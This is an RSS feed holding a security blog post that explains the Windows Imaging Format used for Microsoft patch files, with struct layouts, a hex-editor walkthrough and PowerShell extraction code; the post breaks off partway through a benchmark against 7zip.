<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>pleasedonthack.me</title>
    <description>A learning resource of topics broken down to the basics.</description>
    <link>https://basicinfosecurity.github.io//</link>
    <atom:link href="https://basicinfosecurity.github.io//feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Tue, 02 Jun 2026 02:53:50 +0000</pubDate>
    <lastBuildDate>Tue, 02 Jun 2026 02:53:50 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      
      <item>
        <title>(At) the WIM of Microsoft - Uncovering Microsoft&apos;s Patch Secrets</title>
        <description>&lt;h1 id=&quot;following-the-bits&quot;&gt;Following the bits&lt;/h1&gt;
&lt;p&gt;While patch diffing with &lt;a href=&quot;https://gist.github.com/wumb0/306f97dc8376c6f53b9f9865f60b4fb5&quot;&gt;PatchExtract.ps1&lt;/a&gt;, I encountered a peculiar change in Microsoft’s recent patch releases. They were usually packaged as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cab&lt;/code&gt; files but now released as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wim&lt;/code&gt; files. What is this file format?&lt;/p&gt;

&lt;h1 id=&quot;a-bit-of-history&quot;&gt;A bit of History&lt;/h1&gt;
&lt;p&gt;Thankfully there is available documentation of this format. We will be referring to this whitepaper heavily to lay down its design elements. Microsoft’s official &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=13096&quot;&gt;whitepaper&lt;/a&gt; describes the format as follows:&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;Windows Imaging Format (WIM)&lt;/dt&gt;
  &lt;dd&gt;a file-based disk image format introduced in Windows Vista. WIM files are compressed packages containing a number of related files. The format of a WIM file is optimized for maximum compression using LZX, fast compression using XPRESS, or uncompressed.&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;To simplify, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wim&lt;/code&gt; is a file which is mounted to view, like you would a disk, to access the files. Think of it like inserting a CD into an optical drive to view its file contents.&lt;/p&gt;

&lt;p&gt;The format was introduced during the Vista days and was used recently for distributing patches sometime in 2024&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; &lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. This change is not exactly problematic as Microsoft is not trying to keep patches out of reach from prying eyes (&lt;em&gt;it did prompt interest to this research&lt;/em&gt;). All modern Windows systems have tools to deal with this format such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ImageX&lt;/code&gt; (deprecated), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dism&lt;/code&gt; (which replaced &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ImageX&lt;/code&gt;) and the &lt;a href=&quot;https://learn.microsoft.com/en-us/powershell/module/dism/?view=windowsserver2025-ps&quot;&gt;DISM Powershell Module&lt;/a&gt; (which is built on top of DISM). However these tools require &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/take-inventory-of-an-image-or-component-using-dism?view=windows-11#list-images-that-are-contained-in-a-wim-or-vhd-file&quot;&gt;Admin privileges&lt;/a&gt; as they will mount the file as if it were a disk, hence the &lt;em&gt;“file-based disk image format”&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;There are also third party tools which can recognize and can unpack the format, with the more known of these being &lt;a href=&quot;https://github.com/ip7z/7zip/tree/main/CPP/7zip/Archive/Wim&quot;&gt;7zip&lt;/a&gt; and &lt;a href=&quot;https://peazip.github.io/wim-utility.html&quot;&gt;PeaZip&lt;/a&gt;. There are scripts such as &lt;a href=&quot;https://www.elevenforum.com/t/a-script-to-extract-wim-and-psf-from-msu-windows-update-files.39262/&quot;&gt;this&lt;/a&gt; shared in ElevenForum by &lt;a href=&quot;https://github.com/jen1-sys&quot;&gt;Jen Wolf / jen1-sys&lt;/a&gt; and &lt;a href=&quot;https://github.com/m417z/winbindex/blob/main/data/upd02_get_manifests_from_updates.py#L170&quot;&gt;this&lt;/a&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winbindex&lt;/code&gt; both leveraging 7zip. Of the two archiver utilities, 7zip unpacks faster. There is also &lt;a href=&quot;https://wimlib.net/&quot;&gt;wimlib&lt;/a&gt; which provides a suite of tools to work with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wim&lt;/code&gt; files.&lt;/p&gt;

&lt;h1 id=&quot;a-closer-look&quot;&gt;A Closer Look&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/wim_structure.gif&quot; alt=&quot;wim file structure&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The WIM File Structure is similar to other formats wherein a header is at the start of the file, followed by the Resource Files and the Metadata Resource, then the Lookup Table. The Resource Files are the actual files we want (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cab&lt;/code&gt; files) and the Lookup Table will tell us where to find them in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wim&lt;/code&gt; file.&lt;/p&gt;

&lt;h2 id=&quot;wim-header&quot;&gt;WIM Header&lt;/h2&gt;
&lt;p&gt;The header struct is useful for telling if there are compressed files in the file, where they are located via the Lookup Table and where the Metadata resource is located. Let’s take a look:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;typedef struct _WIMHEADER_V1_PACKED
{
    CHAR ImageTag[8];                 // &quot;MSWIM\0\0&quot;
    DWORD cbSize;                     // Header size, always
                                      // 208 bytes
    DWORD dwVersion;                  // Always 68864
    DWORD dwFlags;                    // Describes resources
    DWORD dwCompressionSize;          // Size of wim if compressed
    GUID gWIMGuid;
    USHORT usPartNumber;
    USHORT usTotalParts;
    DWORD dwImageCount;
    RESHDR_DISK_SHORT rhOffsetTable;  // Lookup Table
    RESHDR_DISK_SHORT rhXmlData;
    RESHDR_DISK_SHORT rhBootMetadata; // Metadata resource
    DWORD dwBootIndex;
    RESHDR_DISK_SHORT rhIntegrity;
    BYTE bUnused[60];
} WIMHEADER_V1_PACKED, *LPWIMHEADER_V1_PACKED;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are mainly interested if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dwFlags&lt;/code&gt; indicates the following values:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FLAG_HEADER_COMPRESSION                 0x00000002
FLAG_HEADER_COMPRESS_XPRESS             0x00020000
FLAG_HEADER_COMPRESS_LZX                0x00040000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_HEADER_COMPRESSION&lt;/code&gt; is set in the header, either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_HEADER_COMPRESS_XPRESS&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_HEADER_COMPRESS_LZX&lt;/code&gt; will also be set. As we will go over later, Resources also have their own flag to indicate whether they are compressed. The header tells us which compression method was used. It can be either &lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/a8b7cb0a-92a6-4187-a23b-5e14273b96f8&quot;&gt;XPRESS&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/LZX&quot;&gt;LZX&lt;/a&gt;, but there is a third commonly referred to as &lt;a href=&quot;https://wimlib.net/compression.html#LZMS&quot;&gt;LZMS&lt;/a&gt; for &lt;a href=&quot;https://en.wikipedia.org/wiki/Solid_compression&quot;&gt;solid WIMs&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;lookup-table&quot;&gt;Lookup Table&lt;/h2&gt;
&lt;p&gt;As indicated above, the Lookup Table and Metadata are of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RESHDR_DISK_SHORT&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;typedef struct _RESHDR_DISK_SHORT
{
    RESHDR_BASE_DISK Base;
    LARGE_INTEGER liOriginalSize;    // Uncompressed size
                                     // of the resource
}

typedef struct _RESHDR_BASE_DISK
{
    union
    {
        ULONGLONG ullSize;
        struct
        {
            BYTE sizebytes[7];       // Compressed size
                                     // of the resource
            BYTE bFlags;
        };
    };
    LARGE_INTEGER liOffset;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RESHDR_DISK_SHORT&lt;/code&gt; is composed of another struct, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RESHDR_BASE_DISK&lt;/code&gt;, which tells us the compressed size, the flags and the location of the Lookup Table/Metadata in the file. Each record in the Lookup Table will include the Resource offset, hash and compression flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;typedef struct _RESHDR_DISK
{
    RESHDR_DISK_SHORT;
    USHORT usPartNumber;
    DWORD dwRefCount;
    BYTE bHash[HASH_SIZE];          // SHA1
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As mentioned earlier, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dwFlags&lt;/code&gt; will tell us if compression was used. Each Resource has an accommodating &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bFlags&lt;/code&gt; variable which is a byte value used to identify if it is compressed:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;RESHDR_FLAG_FREE                    0x01
RESHDR_FLAG_METADATA                0x02
RESHDR_FLAG_COMPRESSED              0x04
RESHDR_FLAG_SPANNED                 0x08
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_HEADER_COMPRESSION&lt;/code&gt; is unset, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RESHDR_FLAG_COMPRESSED&lt;/code&gt; will also be unset.&lt;/p&gt;

&lt;h2 id=&quot;metadata-resource&quot;&gt;Metadata Resource&lt;/h2&gt;

&lt;p&gt;There is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SECURITYBLOCK_DISK&lt;/code&gt; struct at the head of the Metadata resource which we can ignore. Each record in the Metadata is described as:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;typedef struct _DIRENTRY
{    
    LARGE_INTEGER liLength;                 // Size of this struct
    DWORD dwAttributes;
    DWORD dwSecurityId;
    LARGE_INTEGER liSubdirOffset;
    LARGE_INTEGER liUnused1;
    LARGE_INTEGER liUnused2;
    // File Timestamps
    LARGE_INTEGER liCreationTime;
    LARGE_INTEGER liLastAccessTime;
    LARGE_INTEGER liLastWriteTime;
    BYTE bHash[HASH_SIZE];                  // SHA1
    union
    {
        struct
        {
            DWORD dwReparseTag;
            DWORD dwReparseReserved;
        };
        LARGE_INTEGER liHardLink;
    };
    USHORT wStreams;                        // Alternate
                                            // Data Streams
    USHORT wShortNameLength;
    USHORT wFileNameLength;
    WCHAR FileName[0];
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For each entry record, we’re mostly interested in:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;liLength&lt;/code&gt; - Size of the struct which is variable&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bHash&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wFileNameLength&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileName&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The struct is variable in size as Resources can have Alternate Data Streams, a shortname and a filename which are found at the tail end but the minimum size is &lt;a href=&quot;https://github.com/ebiggers/wimlib/blob/master/include/wimlib/dentry.h#L17&quot;&gt;0x66 or 102 bytes&lt;/a&gt;. Since the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileName&lt;/code&gt; is at the end of the struct, it is read by seeking to the very end by adding 0x66 and then reading a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WCHAR&lt;/code&gt; string of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wFileNameLength&lt;/code&gt; length. The timestamps are technically unnecessary but handy to date when the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cab&lt;/code&gt; files were created and last modified.&lt;/p&gt;

&lt;h1 id=&quot;unpacking-the-wim&quot;&gt;Unpacking the WIM&lt;/h1&gt;
&lt;p&gt;The Lookup Table and the Metadata resource go hand-in-hand to identify the resources inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wim&lt;/code&gt;. Think of these things as three pieces needed to retrieve or carve the files from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wim&lt;/code&gt; file:&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Resource Files&lt;/td&gt;
      &lt;td&gt;File data&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Lookup Table / rhOffsetTable&lt;/td&gt;
      &lt;td&gt;Contains the offsets and the hash of each resource file&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Metadata Resource / rhBootMetadata&lt;/td&gt;
      &lt;td&gt;Contains the file names and the hash of each entry&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The whitepaper describes the file retrieval process as the “Image Apply Process”&lt;sup id=&quot;fnref:4&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;. While the process is clear enough, we can further simplify it for our purposes:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Get the location of the Lookup Table and the Metadata from the header.&lt;/li&gt;
  &lt;li&gt;Match the SHA1 from the Metadata with the Lookup Table.&lt;/li&gt;
  &lt;li&gt;Write the file by combining the data from the Metadata and the Lookup Table.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;inspecting-with-imhex&quot;&gt;Inspecting with ImHex&lt;/h2&gt;

&lt;p&gt;To understand how these pieces work together, we’ll use a hex editor called &lt;a href=&quot;https://github.com/WerWolv/ImHex&quot;&gt;ImHex&lt;/a&gt;. To aid in our investigation exercise, I wrote a &lt;a href=&quot;https://github.com/basicinfosecurity/misc/blob/master/WIM/wim.hexpat&quot;&gt;pattern file&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/imhex 1.PNG&quot; alt=&quot;imhex wim pattern&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you want to follow along, you can download any recent patch from &lt;a href=&quot;https://catalog.update.microsoft.com/home.aspx&quot;&gt;Microsoft Update Catalog&lt;/a&gt; and import the &lt;a href=&quot;https://github.com/basicinfosecurity/misc/tree/master/WIM/wim.hexpat&quot;&gt;pattern file&lt;/a&gt; to Imhex.&lt;/p&gt;

&lt;p&gt;We’ll try to understand how Microsoft packages the patch. Let’s look at the header. If we check the flags at offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+0x10&lt;/code&gt;, only one flag is set which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_HEADER_RP_FIX&lt;/code&gt;. The meaning of this flag is not important for our purpose. What is important is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_HEADER_COMPRESSION&lt;/code&gt; is unset:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/imhex 3v2.png&quot; alt=&quot;header flags&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+0x30&lt;/code&gt; we find info on the Lookup Table:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/lookup tablev2.png&quot; alt=&quot;lookup table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The resource is not compressed as supported by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;liOriginalSize&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sizebytes&lt;/code&gt; being equal in value. The former refers to the uncompressed size while the latter is the compressed size. We also see the Lookup Table is located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x30a2d304&lt;/code&gt;. We can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;liOriginalSize&lt;/code&gt; value and the size of struct &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RESHDR_DISK&lt;/code&gt; to compute how many records present in the Lookup Table so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;liOriginalSize / sizeof(RESHDR_DISK)&lt;/code&gt; amounts to 8 records.&lt;/p&gt;

&lt;p&gt;At &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+0x60&lt;/code&gt; we expect to find data on the Metadata resource, however:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/metadata 1.PNG&quot; alt=&quot;metadata1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s nothing there. Is our patch file faulty? Is the metadata missing?&lt;/p&gt;

&lt;p&gt;If we drill down &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileResources&lt;/code&gt;, we will find something interesting at the first resource:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/resource1v2.png&quot; alt=&quot;metadata2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Out of all the resources, the first resource has its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RESHDR_FLAG_METADATA&lt;/code&gt; set. Why is that?&lt;/p&gt;

&lt;p&gt;It turns out this is where &lt;a href=&quot;https://github.com/ebiggers/wimlib/blob/e59d1de0f439d91065df7c47f647f546728e6a24/src/blob_table.c#L1050&quot;&gt;Microsoft stored the Metadata resource&lt;/a&gt;. Knowing this, we can try to parse this record as Metadata, laying on top this pattern:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;struct metadata_resource{
    _SECURITYBLOCK_DISK security_data;
    _DIRENTRY entries[(WIM Header.rhOffsetTable.liOriginalSize/
        sizeof(_RESHDR_DISK))];   
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;parsing-the-metadata&quot;&gt;Parsing the Metadata&lt;/h2&gt;
&lt;p&gt;Now that we have both Lookup Table and Metadata resource, we can now piece back together the files packaged in the WIM file.&lt;/p&gt;

&lt;p&gt;The Metadata resource is made up of Security Data and Directory Entries. The Security Data is not always present, particularly for patch files. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dwTotalLength&lt;/code&gt; refers to the struct’s size. If it is only 8, then it is basically empty.&lt;/p&gt;

&lt;p&gt;Let’s take a look at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;boot_metadata&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;entries&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dwAttributes&lt;/code&gt; variable corresponds to the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants&quot;&gt;File Attribute Constants&lt;/a&gt;. The first entry is flagged as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FILE_ATTRIBUTE_DIRECTORY&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/entry1v2.png&quot; alt=&quot;direntry&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This entry usually corresponds to the parent folder which contains the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cab&lt;/code&gt; files. Since we’re only interested in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cab&lt;/code&gt; files, we can skip this entry.&lt;/p&gt;

&lt;p&gt;The next entries are of more interest:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/entry 2 pt1.PNG&quot; alt=&quot;entry2pt1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This record is flagged as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FILE_ATTRIBUTE_ARCHIVE&lt;/code&gt; and has the name “&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DesktopDeployment.cab&lt;/code&gt;”.&lt;/p&gt;

&lt;p&gt;Since it’s only metadata of the file, we’ll need to look up the offset and size using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bHash&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/entry 2 pt2.PNG&quot; alt=&quot;entry2pt2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bHash&lt;/code&gt; is a byte array which equals to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;89E96B37CC2EE5E6017FF2AB03E399133C65C002&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Aren’t the entries in the Metadata and Lookup table ordered? Unfortunately no, which is why lookups are performed. If we take the hash and match it to a record in the Lookup Table, we locate the offset and size at index 1 of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileResources&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/resource2v2.png&quot; alt=&quot;resource1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So we can confirm that the file is located just after the header, just as depicted in the WIM structure. &lt;strong&gt;We can also see the file is uncompressed.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/dd.PNG&quot; alt=&quot;dd&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;/h1&gt;
&lt;p&gt;We learned how the WIM format works, how to find the files in the WIM file and most importantly how Microsoft ships their patches. We find out they ship them uncompressed. This probably is due to performance reasons. Patch files are enormous and can take up to a few GB of disk space. Compressing is great for saving space but if you’re applying patches decompressing files might consume a lot of resources, driving up CPU and RAM usage. This, on top of &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/deployment/update/forward-reverse-differentials&quot;&gt;unpacking the Patch Storage File (PSF)&lt;/a&gt;, will not result into a satisfactory experience.&lt;/p&gt;

&lt;p&gt;How can we use this information? Now that we know how the format works, we can just retrieve the files using scripts. I wrote two scripts, one in &lt;a href=&quot;https://github.com/basicinfosecurity/misc/blob/master/WIM/wim.ps1&quot;&gt;powershell&lt;/a&gt; and another in &lt;a href=&quot;https://github.com/basicinfosecurity/misc/blob/master/WIM/wim.py&quot;&gt;python&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
class BaseClass{
    $size
    $offset
}
class ResourceHeader : BaseClass{
    ResourceHeader($stream, $readOffset){
        $data = Read $stream $readOffset 0x16
        $this.size = ReadSize $data[0..6]
        $this.offset = ReadValue $data[8..15]
    }
}

class MetaData{
     # 102 is the minimum size of the struct
     # https://github.com/ebiggers/wimlib/blob/master/include/
     wimlib/dentry.h#L17
    $metadataEntryStructSz = 0x66
    $length
    $CreationTime
    $LastAccessTime
    $LastWriteTime
    $SHA1
    $FileName
    MetaData($stream, $readOffset){
        $data = Read $stream $readOffset $this.metadataEntryStructSz

        # Parse metadata record entry,
        # first record is the root record which can be skipped
        $this.length = ReadSize $data[0..7]
        $this.CreationTime = ReadValue $data[40..47]
        $this.LastAccessTime = ReadValue $data[48..55]
        $this.LastWriteTime = ReadValue $data[56..63]
        $this.SHA1 = ReadHexString $data[64..83]
        $fileNameLength = ReadSize $data[100..101]
        $this.FileName = ConvertWideChar $(Read $stream ($readOffset
            + $this.metadataEntryStructSz) $fileNameLength)
    }
}

class Resource : BaseClass{
    $SHA1
    Resource($stream, $readOffset){
        $data = Read $stream $readOffset 0x32
        $this.size = ReadSize $data[16..23]
        $this.offset = ReadValue $data[8..15]
        $this.SHA1 = ReadHexString $data[30..$data.length]
    }
}
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We create classes modeled after the structs we explored earlier. Then we navigate the file and read these resources to recreate the activity earlier.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
$resourceHeaders = @{
    rhOffsetTableHeader = $null
    rhXmlDataHeader = $null
    rhBootMetadataHeader = $null
}

$startIndex = 0
$resourceStructSz = 0x32 # 50

# Get resource files
$resourceHeaders[&quot;rhOffsetTableHeader&quot;] = [ResourceHeader]::new($fs, 0x30)
log_s &quot;Offset table at $(&quot;0x{0:x}&quot; -f $resourceHeaders[&quot;rhOffsetTableHeader&quot;].offset)&quot;

# Get XML Data
$resourceHeaders[&quot;rhXmlDataHeader&quot;] = [ResourceHeader]::new($fs, 0x48)
$xmlData = BytesToString $(Read $fs $resourceHeaders[&quot;rhXmlDataHeader&quot;].offset $resourceHeaders[&quot;rhXmlDataHeader&quot;].size)
log_s &quot;XML data at $(&quot;0x{0:x}&quot; -f $resourceHeaders[&quot;rhXmlDataHeader&quot;].offset)&quot;

# Get Metadata if available
$resourceHeaders[&quot;rhBootMetadataHeader&quot;] = [ResourceHeader]::new($fs, 0x60)
if($resourceHeaders[&quot;rhBootMetadataHeader&quot;].offset){
    log_s &quot;Boot metadata at $(&quot;0x{0:x}&quot; -f $resourceHeaders[&quot;rhBootMetadataHeader&quot;].offset)&quot;
}
else{
    log_i &quot;Metadata not included in WIM File. Checking Resource files for metadata.&quot;
    $resourceHeaders[&quot;rhBootMetadataHeader&quot;] = [ResourceHeader]::new($fs, $resourceHeaders[&quot;rhOffsetTableHeader&quot;].offset)
    $startIndex = 1
}

$securityDataSz = ReadSize $(Read $fs $resourceHeaders[&quot;rhBootMetadataHeader&quot;].offset 4)

if($securityDataSz -le 8){
    log_i &quot;No boot metadata found. Using the first resource in the offset table.&quot;
    $resourceHeaders[&quot;rhBootMetadataHeader&quot;].offset += 0x78
}
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once we find the Lookup Table and Metadata, we start collecting the file offsets, sizes and timestamps and write the files from the stream to an output directory. Since the files are uncompressed, we avoided implementing any compression algorithm or reliance on third party tools.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/script1v2.png&quot; alt=&quot;script1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To check if we pulled out the files correctly, we manually check the SHA1 hashes and observe they match exactly with the hashes captured in the WIM file.&lt;/p&gt;

&lt;p&gt;With some benchmarking, we observe the script is even faster than 7zip:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Measure-Command {&amp;amp; &quot;C:\Program Files\7-Zip\7z.exe&quot; x .\wim.msu -o7ztest}

Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 1
Milliseconds      : 726
Ticks             : 17260436
TotalDays         : 1.99773564814815E-05
TotalHours        : 0.000479456555555556
